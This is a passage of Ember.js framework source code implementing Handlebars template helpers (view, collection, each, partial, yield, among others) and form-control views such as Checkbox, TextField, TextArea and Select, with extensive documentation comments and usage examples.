this.contextualizeBindingPath(hash[prop], data); if (path) { hash[prop] = path; } } } // Evaluate the context of class name bindings: if (extensions.classNameBindings) { for (var b in extensions.classNameBindings) { var full = extensions.classNameBindings[b]; if (typeof full === 'string') { // Contextualize the path of classNameBinding so this: // // classNameBinding="isGreen:green" // // is converted to this: // // classNameBinding="_parentView.context.isGreen:green" var parsedPath = Ember.View._parsePropertyPath(full); path = this.contextualizeBindingPath(parsedPath.path, data); if (path) { extensions.classNameBindings[b] = path + parsedPath.classNames; } } } } return Ember.$.extend(hash, extensions); }, // Transform bindings from the current context to a context that can be evaluated within the view. // Returns null if the path shouldn't be changed. // // TODO: consider the addition of a prefix that would allow this method to return `path`. contextualizeBindingPath: function(path, data) { var normalized = Ember.Handlebars.normalizePath(null, path, data); if (normalized.isKeyword) { return 'templateData.keywords.' + path; } else if (Ember.isGlobalPath(path)) { return null; } else if (path === 'this') { return '_parentView.context'; } else { return '_parentView.context.' + path; } }, helper: function(thisContext, path, options) { var inverse = options.inverse, data = options.data, view = data.view, fn = options.fn, hash = options.hash, newView; if ('string' === typeof path) { newView = EmberHandlebars.get(thisContext, path, options); } else { newView = path; } var viewOptions = this.propertiesFromHTMLOptions(options, thisContext); var currentView = data.view; viewOptions.templateData = options.data; var newViewProto = newView.proto ? newView.proto() : newView; if (fn) { viewOptions.template = fn; } // We only want to override the `_context` computed property if there is // no specified controller. See View#_context for more information. if (!newViewProto.controller && !newViewProto.controllerBinding && !viewOptions.controller && !viewOptions.controllerBinding) { viewOptions._context = thisContext; } currentView.appendChild(newView, viewOptions); } }); /** `{{view}}` inserts a new instance of `Ember.View` into a template passing its options to the `Ember.View`'s `create` method and using the supplied block as the view's own template. An empty `<body>` and the following template: ```handlebars A span: {{#view tagName="span"}} hello. {{/view}} ``` Will result in HTML structure: ```html <body> <!-- Note: the handlebars template script also results in a rendered Ember.View which is the outer <div> here --> <div class="ember-view"> A span: <span id="ember1" class="ember-view"> Hello. </span> </div> </body> ``` ### `parentView` setting The `parentView` property of the new `Ember.View` instance created through `{{view}}` will be set to the `Ember.View` instance of the template where `{{view}}` was called. ```javascript aView = Ember.View.create({ template: Ember.Handlebars.compile("{{#view}} my parent: {{parentView.elementId}} {{/view}}") }); aView.appendTo('body'); ``` Will result in HTML structure: ```html <div id="ember1" class="ember-view"> <div id="ember2" class="ember-view"> my parent: ember1 </div> </div> ``` ### Setting CSS id and class attributes The HTML `id` attribute can be set on the `{{view}}`'s resulting element with the `id` option. This option will _not_ be passed to `Ember.View.create`. ```handlebars {{#view tagName="span" id="a-custom-id"}} hello. {{/view}} ``` Results in the following HTML structure: ```html <div class="ember-view"> <span id="a-custom-id" class="ember-view"> hello. </span> </div> ``` The HTML `class` attribute can be set on the `{{view}}`'s resulting element with the `class` or `classNameBindings` options. The `class` option will directly set the CSS `class` attribute and will not be passed to `Ember.View.create`. `classNameBindings` will be passed to `create` and use `Ember.View`'s class name binding functionality: ```handlebars {{#view tagName="span" class="a-custom-class"}} hello. {{/view}} ``` Results in the following HTML structure: ```html <div class="ember-view"> <span id="ember2" class="ember-view a-custom-class"> hello. </span> </div> ``` ### Supplying a different view class `{{view}}` can take an optional first argument before its supplied options to specify a path to a custom view class. ```handlebars {{#view "MyApp.CustomView"}} hello. {{/view}} ``` The first argument can also be a relative path. Ember will search for the view class starting at the `Ember.View` of the template where `{{view}}` was used as the root object: ```javascript MyApp = Ember.Application.create({}); MyApp.OuterView = Ember.View.extend({ innerViewClass: Ember.View.extend({ classNames: ['a-custom-view-class-as-property'] }), template: Ember.Handlebars.compile('{{#view "innerViewClass"}} hi {{/view}}') }); MyApp.OuterView.create().appendTo('body'); ``` Will result in the following HTML: ```html <div id="ember1" class="ember-view"> <div id="ember2" class="ember-view a-custom-view-class-as-property"> hi </div> </div> ``` ### Blockless use If you supply a custom `Ember.View` subclass that specifies its own template or provide a `templateName` option to `{{view}}` it can be used without supplying a block. Attempts to use both a `templateName` option and supply a block will throw an error. ```handlebars {{view "MyApp.ViewWithATemplateDefined"}} ``` ### `viewName` property You can supply a `viewName` option to `{{view}}`. The `Ember.View` instance will be referenced as a property of its parent view by this name. ```javascript aView = Ember.View.create({ template: Ember.Handlebars.compile('{{#view viewName="aChildByName"}} hi {{/view}}') }); aView.appendTo('body'); aView.get('aChildByName') // the instance of Ember.View created by {{view}} helper ``` @method view @for Ember.Handlebars.helpers @param {String} path @param {Hash} options @return {String} HTML string */ EmberHandlebars.registerHelper('view', function(path, options) { // If no path is provided, treat path param as options. if (path && path.data && path.data.isRenderData) { options = path; path = "Ember.View"; } return EmberHandlebars.ViewHelper.helper(this, path, options); }); })(); (function() { /*globals Handlebars */ // TODO: Don't require all of this module /** @module ember @submodule ember-handlebars */ var get = Ember.get, handlebarsGet = Ember.Handlebars.get, fmt = Ember.String.fmt; /** `{{collection}}` is a `Ember.Handlebars` helper for adding instances of `Ember.CollectionView` to a template. See `Ember.CollectionView` for additional information on how a `CollectionView` functions. `{{collection}}`'s primary use is as a block helper with a `contentBinding` option pointing towards an `Ember.Array`-compatible object. An `Ember.View` instance will be created for each item in its `content` property. Each view will have its own `content` property set to the appropriate item in the collection. The provided block will be applied as the template for each item's view. Given an empty `<body>` the following template: ```handlebars {{#collection contentBinding="App.items"}} Hi {{view.content.name}} {{/collection}} ``` And the following application code ```javascript App = Ember.Application.create() App.items = [ Ember.Object.create({name: 'Dave'}), Ember.Object.create({name: 'Mary'}), Ember.Object.create({name: 'Sara'}) ] ``` Will result in the HTML structure below ```html <div class="ember-view"> <div class="ember-view">Hi Dave</div> <div class="ember-view">Hi Mary</div> <div class="ember-view">Hi Sara</div> </div> ``` ### Blockless Use If you provide an `itemViewClass` option that has its own `template` you can omit the block. The following template: ```handlebars {{collection contentBinding="App.items" itemViewClass="App.AnItemView"}} ``` And application code ```javascript App = Ember.Application.create(); App.items = [ Ember.Object.create({name: 'Dave'}), Ember.Object.create({name: 'Mary'}), Ember.Object.create({name: 'Sara'}) ]; App.AnItemView = Ember.View.extend({ template: Ember.Handlebars.compile("Greetings {{view.content.name}}") }); ``` Will result in the HTML structure below ```html <div class="ember-view"> <div class="ember-view">Greetings Dave</div> <div class="ember-view">Greetings Mary</div> <div class="ember-view">Greetings Sara</div> </div> ``` ### Specifying a CollectionView subclass By default the `{{collection}}` helper will create an instance of `Ember.CollectionView`. You can supply a `Ember.CollectionView` subclass to the helper by passing it as the first argument: ```handlebars {{#collection App.MyCustomCollectionClass contentBinding="App.items"}} Hi {{view.content.name}} {{/collection}} ``` ### Forwarded `item.*`-named Options As with the `{{view}}`, helper options passed to the `{{collection}}` will be set on the resulting `Ember.CollectionView` as properties. Additionally, options prefixed with `item` will be applied to the views rendered for each item (note the camelcasing): ```handlebars {{#collection contentBinding="App.items" itemTagName="p" itemClassNames="greeting"}} Howdy {{view.content.name}} {{/collection}} ``` Will result in the following HTML structure: ```html <div class="ember-view"> <p class="ember-view greeting">Howdy Dave</p> <p class="ember-view greeting">Howdy Mary</p> <p class="ember-view greeting">Howdy Sara</p> </div> ``` @method collection @for Ember.Handlebars.helpers @param {String} path @param {Hash} options @return {String} HTML string @deprecated Use `{{each}}` helper instead. */ Ember.Handlebars.registerHelper('collection', function(path, options) { // If no path is provided, treat path param as options. if (path && path.data && path.data.isRenderData) { options = path; path = undefined; } else { } var fn = options.fn; var data = options.data; var inverse = options.inverse; var view = options.data.view; // If passed a path string, convert that into an object. // Otherwise, just default to the standard class. var collectionClass; collectionClass = path ? handlebarsGet(this, path, options) : Ember.CollectionView; var hash = options.hash, itemHash = {}, match; // Extract item view class if provided else default to the standard class var itemViewClass, itemViewPath = hash.itemViewClass; var collectionPrototype = collectionClass.proto(); delete hash.itemViewClass; itemViewClass = itemViewPath ? handlebarsGet(collectionPrototype, itemViewPath, options) : collectionPrototype.itemViewClass; // Go through options passed to the {{collection}} helper and extract options // that configure item views instead of the collection itself. for (var prop in hash) { if (hash.hasOwnProperty(prop)) { match = prop.match(/^item(.)(.*)$/); if(match && prop !== 'itemController') { // Convert itemShouldFoo -> shouldFoo itemHash[match[1].toLowerCase() + match[2]] = hash[prop]; // Delete from hash as this will end up getting passed to the // {{view}} helper method. delete hash[prop]; } } } var tagName = hash.tagName || collectionPrototype.tagName; if (fn) { itemHash.template = fn; delete options.fn; } var emptyViewClass; if (inverse && inverse !== Handlebars.VM.noop) { emptyViewClass = get(collectionPrototype, 'emptyViewClass'); emptyViewClass = emptyViewClass.extend({ template: inverse, tagName: itemHash.tagName }); } else if (hash.emptyViewClass) { emptyViewClass = handlebarsGet(this, hash.emptyViewClass, options); } if (emptyViewClass) { hash.emptyView = emptyViewClass; } if(!hash.keyword){ itemHash._context = Ember.computed.alias('content'); } var viewString = view.toString(); var viewOptions = Ember.Handlebars.ViewHelper.propertiesFromHTMLOptions({ data: data, hash: itemHash }, this); hash.itemViewClass = itemViewClass.extend(viewOptions); return Ember.Handlebars.helpers.view.call(this, collectionClass, options); }); })(); (function() { /*globals Handlebars */ /** @module ember @submodule ember-handlebars */ var handlebarsGet = Ember.Handlebars.get; /** `unbound` allows you to output a property without binding. *Important:* The output will not be updated if the property changes. Use with caution. ```handlebars <div>{{unbound somePropertyThatDoesntChange}}</div> ``` `unbound` can also be used in conjunction with a bound helper to render it in its unbound form: ```handlebars <div>{{unbound helperName somePropertyThatDoesntChange}}</div> ``` @method unbound @for Ember.Handlebars.helpers @param {String} property @return {String} HTML string */ Ember.Handlebars.registerHelper('unbound', function(property, fn) { var options = arguments[arguments.length - 1], helper, context, out; if(arguments.length > 2) { // Unbound helper call. options.data.isUnbound = true; helper = Ember.Handlebars.helpers[arguments[0]] || Ember.Handlebars.helperMissing; out = helper.apply(this, Array.prototype.slice.call(arguments, 1)); delete options.data.isUnbound; return out; } context = (fn.contexts && fn.contexts[0]) || this; return handlebarsGet(context, property, fn); }); })(); (function() { /*jshint debug:true*/ /** @module ember @submodule ember-handlebars */ var handlebarsGet = Ember.Handlebars.get, normalizePath = Ember.Handlebars.normalizePath; /** `log` allows you to output the value of a value in the current rendering context. ```handlebars {{log myVariable}} ``` @method log @for Ember.Handlebars.helpers @param {String} property */ Ember.Handlebars.registerHelper('log', function(property, options) { var context = (options.contexts && options.contexts[0]) || this, normalized = normalizePath(context, property, options.data), pathRoot = normalized.root, path = normalized.path, value = (path === 'this') ? pathRoot : handlebarsGet(pathRoot, path, options); Ember.Logger.log(value); }); /** Execute the `debugger` statement in the current context. ```handlebars {{debugger}} ``` @method debugger @for Ember.Handlebars.helpers @param {String} property */ Ember.Handlebars.registerHelper('debugger', function() { debugger; }); })(); (function() { /** @module ember @submodule ember-handlebars */ var get = Ember.get, set = Ember.set; Ember.Handlebars.EachView = Ember.CollectionView.extend(Ember._Metamorph, { init: function() { var itemController = get(this, 'itemController'); var binding; if (itemController) { var controller = Ember.ArrayController.create(); set(controller, 'itemController', itemController); set(controller, 'container', get(this, 'controller.container')); set(controller, '_eachView', this); this.disableContentObservers(function() { set(this, 'content', controller); binding = new Ember.Binding('content', '_eachView.dataSource').oneWay(); binding.connect(controller); }); set(this, '_arrayController', controller); } else { this.disableContentObservers(function() { binding = new Ember.Binding('content', 'dataSource').oneWay(); binding.connect(this); }); } return this._super(); }, disableContentObservers: function(callback) { Ember.removeBeforeObserver(this, 'content', null, '_contentWillChange'); Ember.removeObserver(this, 'content', null, '_contentDidChange'); callback.apply(this); Ember.addBeforeObserver(this, 'content', null, '_contentWillChange'); Ember.addObserver(this, 'content', null, '_contentDidChange'); }, itemViewClass: Ember._MetamorphView, emptyViewClass: Ember._MetamorphView, createChildView: function(view, attrs) { view = this._super(view, attrs); // At the moment, if a container view subclass wants // to insert keywords, it is responsible for cloning // the keywords hash. This will be fixed momentarily. var keyword = get(this, 'keyword'); var content = get(view, 'content'); if (keyword) { var data = get(view, 'templateData'); data = Ember.copy(data); data.keywords = view.cloneKeywords(); set(view, 'templateData', data); // In this case, we do not bind, because the `content` of // a #each item cannot change. data.keywords[keyword] = content; } // If {{#each}} is looping over an array of controllers, // point each child view at their respective controller. if (content && get(content, 'isController')) { set(view, 'controller', content); } return view; }, willDestroy: function() { var arrayController = get(this, '_arrayController'); if (arrayController) { arrayController.destroy(); } return this._super(); } }); var GroupedEach = Ember.Handlebars.GroupedEach = function(context, path, options) { var self = this, normalized = Ember.Handlebars.normalizePath(context, path, options.data); this.context = context; this.path = path; this.options = options; this.template = options.fn; this.containingView = options.data.view; this.normalizedRoot = normalized.root; this.normalizedPath = normalized.path; this.content = this.lookupContent(); this.addContentObservers(); this.addArrayObservers(); this.containingView.on('willClearRender', function() { self.destroy(); }); }; GroupedEach.prototype = { contentWillChange: function() { this.removeArrayObservers(); }, contentDidChange: function() { this.content = this.lookupContent(); this.addArrayObservers(); this.rerenderContainingView(); }, contentArrayWillChange: Ember.K, contentArrayDidChange: function() { this.rerenderContainingView(); }, lookupContent: function() { return Ember.Handlebars.get(this.normalizedRoot, this.normalizedPath, this.options); }, addArrayObservers: function() { this.content.addArrayObserver(this, { willChange: 'contentArrayWillChange', didChange: 'contentArrayDidChange' }); }, removeArrayObservers: function() { this.content.removeArrayObserver(this, { willChange: 'contentArrayWillChange', didChange: 'contentArrayDidChange' }); }, addContentObservers: function() { Ember.addBeforeObserver(this.normalizedRoot, this.normalizedPath, this, this.contentWillChange); Ember.addObserver(this.normalizedRoot, this.normalizedPath, this, this.contentDidChange); }, removeContentObservers: function() { Ember.removeBeforeObserver(this.normalizedRoot, this.normalizedPath, this.contentWillChange); Ember.removeObserver(this.normalizedRoot, this.normalizedPath, this.contentDidChange); }, render: function() { var content = this.content, contentLength = get(content, 'length'), data = this.options.data, template = this.template; data.insideEach = true; for (var i = 0; i < contentLength; i++) { template(content.objectAt(i), { data: data }); } }, rerenderContainingView: function() { Ember.run.scheduleOnce('render', this.containingView, 'rerender'); }, destroy: function() { this.removeContentObservers(); this.removeArrayObservers(); } }; /** The `{{#each}}` helper loops over elements in a collection, rendering its block once for each item. It is an extension of the base Handlebars `{{#each}}` helper: ```javascript Developers = [{name: 'Yehuda'},{name: 'Tom'}, {name: 'Paul'}]; ``` ```handlebars {{#each Developers}} {{name}} {{/each}} ``` `{{each}}` supports an alternative syntax with element naming: ```handlebars {{#each person in Developers}} {{person.name}} {{/each}} ``` When looping over objects that do not have properties, `{{this}}` can be used to render the object: ```javascript DeveloperNames = ['Yehuda', 'Tom', 'Paul'] ``` ```handlebars {{#each DeveloperNames}} {{this}} {{/each}} ``` ### {{else}} condition `{{#each}}` can have a matching `{{else}}`. The contents of this block will render if the collection is empty. ``` {{#each person in Developers}} {{person.name}} {{else}} <p>Sorry, nobody is available for this task.</p> {{/each}} ``` ### Specifying a View class for items If you provide an `itemViewClass` option that references a view class with its own `template` you can omit the block. The following template: ```handlebars {{#view App.MyView }} {{each view.items itemViewClass="App.AnItemView"}} {{/view}} ``` And application code ```javascript App = Ember.Application.create({ MyView: Ember.View.extend({ items: [ Ember.Object.create({name: 'Dave'}), Ember.Object.create({name: 'Mary'}), Ember.Object.create({name: 'Sara'}) ] }) }); App.AnItemView = Ember.View.extend({ template: Ember.Handlebars.compile("Greetings {{name}}") }); ``` Will result in the HTML structure below ```html <div class="ember-view"> <div class="ember-view">Greetings Dave</div> <div class="ember-view">Greetings Mary</div> <div class="ember-view">Greetings Sara</div> </div> ``` ### Representing each item with a Controller. By default the controller lookup within an `{{#each}}` block will be the controller of the template where the `{{#each}}` was used. If each item needs to be presented by a custom controller you can provide a `itemController` option which references a controller by lookup name. Each item in the loop will be wrapped in an instance of this controller and the item itself will be set to the `content` property of that controller. This is useful in cases where properties of model objects need transformation or synthesis for display: ```javascript App.DeveloperController = Ember.ObjectController.extend({ isAvailableForHire: function(){ return !this.get('content.isEmployed') && this.get('content.isSeekingWork'); }.property('isEmployed', 'isSeekingWork') }) ``` ```handlebars {{#each person in Developers itemController="developer"}} {{person.name}} {{#if person.isAvailableForHire}}Hire me!{{/if}} {{/each}} ``` @method each @for Ember.Handlebars.helpers @param [name] {String} name for item (used with `in`) @param path {String} path @param [options] {Object} Handlebars key/value pairs of options @param [options.itemViewClass] {String} a path to a view class used for each item @param [options.itemController] {String} name of a controller to be created for each item */ Ember.Handlebars.registerHelper('each', function(path, options) { if (arguments.length === 4) { var keywordName = arguments[0]; options = arguments[3]; path = arguments[2]; if (path === '') { path = "this"; } options.hash.keyword = keywordName; } options.hash.dataSourceBinding = path; // Set up emptyView as a metamorph with no tag //options.hash.emptyViewClass = Ember._MetamorphView; if (options.data.insideGroup && !options.hash.groupedRows && !options.hash.itemViewClass) { new Ember.Handlebars.GroupedEach(this, path, options).render(); } else { return Ember.Handlebars.helpers.collection.call(this, 'Ember.Handlebars.EachView', options); } }); })(); (function() { /** @module ember @submodule ember-handlebars */ /** `template` allows you to render a template from inside another template. This allows you to re-use the same template in multiple places. For example: ```html <script type="text/x-handlebars" data-template-name="logged_in_user"> {{#with loggedInUser}} Last Login: {{lastLogin}} User Info: {{template "user_info"}} {{/with}} </script> ``` ```html <script type="text/x-handlebars" data-template-name="user_info"> Name: <em>{{name}}</em> Karma: <em>{{karma}}</em> </script> ``` This helper looks for templates in the global `Ember.TEMPLATES` hash. If you add `<script>` tags to your page with the `data-template-name` attribute set, they will be compiled and placed in this hash automatically. You can also manually register templates by adding them to the hash: ```javascript Ember.TEMPLATES["my_cool_template"] = Ember.Handlebars.compile('<b>{{user}}</b>'); ``` @method template @for Ember.Handlebars.helpers @param {String} templateName the template to render */ Ember.Handlebars.registerHelper('template', function(name, options) { var template = Ember.TEMPLATES[name]; Ember.TEMPLATES[name](this, { data: options.data }); }); Ember.Handlebars.registerHelper('partial', function(name, options) { var nameParts = name.split("/"), lastPart = nameParts[nameParts.length - 1]; nameParts[nameParts.length - 1] = "_" + lastPart; var underscoredName = nameParts.join("/"); var template = Ember.TEMPLATES[underscoredName], deprecatedTemplate = Ember.TEMPLATES[name]; template = template || deprecatedTemplate; template(this, { data: options.data }); }); })(); (function() { /** @module ember @submodule ember-handlebars */ var get = Ember.get, set = Ember.set; /** When used in a Handlebars template that is assigned to an `Ember.View` instance's `layout` property Ember will render the layout template first, inserting the view's own rendered output at the `{{yield}}` location. An empty `<body>` and the following application code: ```javascript AView = Ember.View.extend({ classNames: ['a-view-with-layout'], layout: Ember.Handlebars.compile('<div class="wrapper">{{yield}}</div>'), template: Ember.Handlebars.compile('<span>I am wrapped</span>') }); aView = AView.create(); aView.appendTo('body'); ``` Will result in the following HTML output: ```html <body> <div class='ember-view a-view-with-layout'> <div class="wrapper"> <span>I am wrapped</span> </div> </div> </body> ``` The `yield` helper cannot be used outside of a template assigned to an `Ember.View`'s `layout` property and will throw an error if attempted. ```javascript BView = Ember.View.extend({ classNames: ['a-view-with-layout'], template: Ember.Handlebars.compile('{{yield}}') }); bView = BView.create(); bView.appendTo('body'); // throws // Uncaught Error: assertion failed: You called yield in a template that was not a layout ``` @method yield @for Ember.Handlebars.helpers @param {Hash} options @return {String} HTML string */ Ember.Handlebars.registerHelper('yield', function(options) { var view = options.data.view, template; while (view && !get(view, 'layout')) { view = get(view, 'parentView'); } template = get(view, 'template'); if (template) { template(this, options); } }); })(); (function() { })(); (function() { })(); (function() { /** @module ember @submodule ember-handlebars */ var set = Ember.set, get = Ember.get; /** The `Ember.Checkbox` view class renders a checkbox [input](https://developer.mozilla.org/en/HTML/Element/Input) element. It allows for binding an Ember property (`checked`) to the status of the checkbox. Example: ```handlebars {{view Ember.Checkbox checkedBinding="receiveEmail"}} ``` You can add a `label` tag yourself in the template where the `Ember.Checkbox` is being used. ```html <label> {{view Ember.Checkbox classNames="applicaton-specific-checkbox"}} Some Title </label> ``` The `checked` attribute of an `Ember.Checkbox` object should always be set through the Ember object or by interacting with its rendered element representation via the mouse, keyboard, or touch. Updating the value of the checkbox via jQuery will result in the checked value of the object and its element losing synchronization. ## Layout and LayoutName properties Because HTML `input` elements are self closing `layout` and `layoutName` properties will not be applied. See `Ember.View`'s layout section for more information. @class Checkbox @namespace Ember @extends Ember.View */ Ember.Checkbox = Ember.View.extend({ classNames: ['ember-checkbox'], tagName: 'input', attributeBindings: ['type', 'checked', 'disabled', 'tabindex'], type: "checkbox", checked: false, disabled: false, init: function() { this._super(); this.on("change", this, this._updateElementValue); }, _updateElementValue: function() { set(this, 'checked', this.$().prop('checked')); } }); })(); (function() { /** @module ember @submodule ember-handlebars */ var get = Ember.get, set = Ember.set; /** Shared mixin used by `Ember.TextField` and `Ember.TextArea`. @class TextSupport @namespace Ember @extends Ember.Mixin @private */ Ember.TextSupport = Ember.Mixin.create({ value: "", attributeBindings: ['placeholder', 'disabled', 'maxlength', 'tabindex'], placeholder: null, disabled: false, maxlength: null, insertNewline: Ember.K, cancel: Ember.K, init: function() { this._super(); this.on("focusOut", this, this._elementValueDidChange); this.on("change", this, this._elementValueDidChange); this.on("paste", this, this._elementValueDidChange); this.on("cut", this, this._elementValueDidChange); this.on("input", this, this._elementValueDidChange); this.on("keyUp", this, this.interpretKeyEvents); }, interpretKeyEvents: function(event) { var map = Ember.TextSupport.KEY_EVENTS; var method = map[event.keyCode]; this._elementValueDidChange(); if (method) { return this[method](event); } }, _elementValueDidChange: function() { set(this, 'value', this.$().val()); } }); Ember.TextSupport.KEY_EVENTS = { 13: 'insertNewline', 27: 'cancel' }; })(); (function() { /** @module ember @submodule ember-handlebars */ var get = Ember.get, set = Ember.set; /** The `Ember.TextField` view class renders a text [input](https://developer.mozilla.org/en/HTML/Element/Input) element. It allows for binding Ember properties to the text field contents (`value`), live-updating as the user inputs text. Example: ```handlebars {{view Ember.TextField valueBinding="firstName"}} ``` ## Layout and LayoutName properties Because HTML `input` elements are self closing `layout` and `layoutName` properties will not be applied. See `Ember.View`'s layout section for more information. ## HTML Attributes By default `Ember.TextField` provides support for `type`, `value`, `size`, `placeholder`, `disabled`, `maxlength` and `tabindex` attributes on a test field. If you need to support more attributes have a look at the `attributeBindings` property in `Ember.View`'s HTML Attributes section. To globally add support for additional attributes you can reopen `Ember.TextField` or `Ember.TextSupport`. ```javascript Ember.TextSupport.reopen({ attributeBindings: ["required"] }) ``` @class TextField @namespace Ember @extends Ember.View @uses Ember.TextSupport */ Ember.TextField = Ember.View.extend(Ember.TextSupport, /** @scope Ember.TextField.prototype */ { classNames: ['ember-text-field'], tagName: "input", attributeBindings: ['type', 'value', 'size', 'pattern'], /** The `value` attribute of the input element. As the user inputs text, this property is updated live. @property value @type String @default "" */ value: "", /** The `type` attribute of the input element. @property type @type String @default "text" */ type: "text", /** The `size` of the text field in characters. @property size @type String @default null */ size: null, /** The `pattern` the pattern attribute of input element. @property pattern @type String @default null */ pattern: null, /** The action to be sent when the user presses the return key. This is similar to the `{{action}}` helper, but is fired when the user presses the return key when editing a text field, and sends the value of the field as the context. @property action @type String @default null */ action: null, /** Whether they `keyUp` event that triggers an `action` to be sent continues propagating to other views. By default, when the user presses the return key on their keyboard and the text field has an `action` set, the action will be sent to the view's controller and the key event will stop propagating. If you would like parent views to receive the `keyUp` event even after an action has been dispatched, set `bubbles` to true. @property bubbles @type Boolean @default false */ bubbles: false, insertNewline: function(event) { var controller = get(this, 'controller'), action = get(this, 'action'); if (action) { controller.send(action, get(this, 'value'), this); if (!get(this, 'bubbles')) { event.stopPropagation(); } } } }); })(); (function() { /** @module ember @submodule ember-handlebars */ var get = Ember.get, set = Ember.set; /** @class Button @namespace Ember @extends Ember.View @uses Ember.TargetActionSupport @deprecated */ Ember.Button = Ember.View.extend(Ember.TargetActionSupport, { classNames: ['ember-button'], classNameBindings: ['isActive'], tagName: 'button', propagateEvents: false, attributeBindings: ['type', 'disabled', 'href', 'tabindex'], /** @private Overrides `TargetActionSupport`'s `targetObject` computed property to use Handlebars-specific path resolution. @property targetObject */ targetObject: Ember.computed(function() { var target = get(this, 'target'), root = get(this, 'context'), data = get(this, 'templateData'); if (typeof target !== 'string') { return target; } return Ember.Handlebars.get(root, target, { data: data }); }).property('target'), // Defaults to 'button' if tagName is 'input' or 'button' type: Ember.computed(function(key) { var tagName = this.tagName; if (tagName === 'input' || tagName === 'button') { return 'button'; } }), disabled: false, // Allow 'a' tags to act like buttons href: Ember.computed(function() { return this.tagName === 'a' ? '#' : null; }), mouseDown: function() { if (!get(this, 'disabled')) { set(this, 'isActive', true); this._mouseDown = true; this._mouseEntered = true; } return get(this, 'propagateEvents'); }, mouseLeave: function() { if (this._mouseDown) { set(this, 'isActive', false); this._mouseEntered = false; } }, mouseEnter: function() { if (this._mouseDown) { set(this, 'isActive', true); this._mouseEntered = true; } }, mouseUp: function(event) { if (get(this, 'isActive')) { // Actually invoke the button's target and action. // This method comes from the Ember.TargetActionSupport mixin. this.triggerAction(); set(this, 'isActive', false); } this._mouseDown = false; this._mouseEntered = false; return get(this, 'propagateEvents'); }, keyDown: function(event) { // Handle space or enter if (event.keyCode === 13 || event.keyCode === 32) { this.mouseDown(); } }, keyUp: function(event) { // Handle space or enter if (event.keyCode === 13 || event.keyCode === 32) { this.mouseUp(); } }, // TODO: Handle proper touch behavior. Including should make inactive when // finger moves more than 20x outside of the edge of the button (vs mouse // which goes inactive as soon as mouse goes out of edges.) touchStart: function(touch) { return this.mouseDown(touch); }, touchEnd: function(touch) { return this.mouseUp(touch); }, init: function() { this._super(); } }); })(); (function() { /** @module ember @submodule ember-handlebars */ var get = Ember.get, set = Ember.set; /** The `Ember.TextArea` view class renders a [textarea](https://developer.mozilla.org/en/HTML/Element/textarea) element. It allows for binding Ember properties to the text area contents (`value`), live-updating as the user inputs text. ## Layout and LayoutName properties Because HTML `textarea` elements do not contain inner HTML the `layout` and `layoutName` properties will not be applied. See `Ember.View`'s layout section for more information. ## HTML Attributes By default `Ember.TextArea` provides support for `rows`, `cols`, `placeholder`, `disabled`, `maxlength` and `tabindex` attributes on a textarea. If you need to support more attributes have a look at the `attributeBindings` property in `Ember.View`'s HTML Attributes section. To globally add support for additional attributes you can reopen `Ember.TextArea` or `Ember.TextSupport`. ```javascript Ember.TextSupport.reopen({ attributeBindings: ["required"] }) ``` @class TextArea @namespace Ember @extends Ember.View @uses Ember.TextSupport */ Ember.TextArea = Ember.View.extend(Ember.TextSupport, { classNames: ['ember-text-area'], tagName: "textarea", attributeBindings: ['rows', 'cols'], rows: null, cols: null, _updateElementValue: Ember.observer(function() { // We do this check so cursor position doesn't get affected in IE var value = get(this, 'value'), $el = this.$(); if ($el && value !== $el.val()) { $el.val(value); } }, 'value'), init: function() { this._super(); this.on("didInsertElement", this, this._updateElementValue); } }); })(); (function() { /*jshint eqeqeq:false */ /** @module ember @submodule ember-handlebars */ var set = Ember.set, get = Ember.get, indexOf = Ember.EnumerableUtils.indexOf, indexesOf = Ember.EnumerableUtils.indexesOf, replace = Ember.EnumerableUtils.replace, isArray = Ember.isArray, precompileTemplate = Ember.Handlebars.compile; /** The `Ember.Select` view class renders a [select](https://developer.mozilla.org/en/HTML/Element/select) HTML element, allowing the user to choose from a list of options. The text and `value` property of each `<option>` element within the `<select>` element are populated from the objects in the `Element.Select`'s `content` property. The underlying data object of the selected `<option>` is stored in the `Element.Select`'s `value` property. ### `content` as an array of Strings The simplest version of an `Ember.Select` takes an array of strings as its `content` property. The string will be used as both the `value` property and the inner text of each `<option>` element inside the rendered `<select>`. Example: ```javascript App.names = ["Yehuda", "Tom"]; ``` ```handlebars {{view Ember.Select contentBinding="App.names"}} ``` Would result in the following HTML: ```html <select class="ember-select"> <option value="Yehuda">Yehuda</option> <option value="Tom">Tom</option> </select> ``` You can control which `<option>` is selected through the `Ember.Select`'s `value` property directly or as a binding: ```javascript App.names = Ember.Object.create({ selected: 'Tom', content: ["Yehuda", "Tom"] }); ``` ```handlebars {{view Ember.Select contentBinding="App.names.content" valueBinding="App.names.selected" }} ``` Would result in the following HTML with the `<option>` for 'Tom' selected: ```html <select class="ember-select"> <option value="Yehuda">Yehuda</option> <option value="Tom" selected="selected">Tom</option> </select> ``` A user interacting with the rendered `<select>` to choose "Yehuda" would update the value of `App.names.selected` to "Yehuda". ### `content` as an Array of Objects An `Ember.Select` can also take an array of JavaScript or Ember objects as its `content` property. When using objects you need to tell the `Ember.Select` which property should be accessed on each object to supply the `value` attribute of the `<option>` and which property should be used to supply the element text. The `optionValuePath` option is used to specify the path on each object to the desired property for the `value` attribute. The `optionLabelPath` specifies the path on each object to the desired property for the element's text. Both paths must reference each object itself as `content`: ```javascript App.programmers = [ Ember.Object.create({firstName: "Yehuda", id: 1}), Ember.Object.create({firstName: "Tom", id: 2}) ]; ``` ```handlebars {{view Ember.Select contentBinding="App.programmers" optionValuePath="content.id" optionLabelPath="content.firstName"}} ``` Would result in the following HTML: ```html <select class="ember-select"> <option value>Please Select</option> <option value="1">Yehuda</option> <option value="2">Tom</option> </select> ``` The `value` attribute of the selected `<option>` within an `Ember.Select` can be bound to a property on another object by providing a `valueBinding` option: ```javascript App.programmers = [ Ember.Object.create({firstName: "Yehuda", id: 1}), Ember.Object.create({firstName: "Tom", id: 2}) ]; App.currentProgrammer = Ember.Object.create({ id: 2 }); ``` ```handlebars {{view Ember.Select contentBinding="App.programmers" optionValuePath="content.id" optionLabelPath="content.firstName" valueBinding="App.currentProgrammer.id"}} ``` Would result in the following HTML with a selected option: ```html <select class="ember-select"> <option value>Please Select</option> <option value="1">Yehuda</option> <option value="2" selected="selected">Tom</option> </select> ``` Interacting with the rendered element by selecting the first option ('Yehuda') will update the `id` value of `App.currentProgrammer` to match the `value` property of the newly selected `<option>`. Alternatively, you can control selection through the underlying objects used to render each object providing a `selectionBinding`. When the selected `<option>` is changed, the property path provided to `selectionBinding` will be updated to match the content object of the rendered `<option>` element: ```javascript App.controller = Ember.Object.create({ selectedPerson: null, content: [ 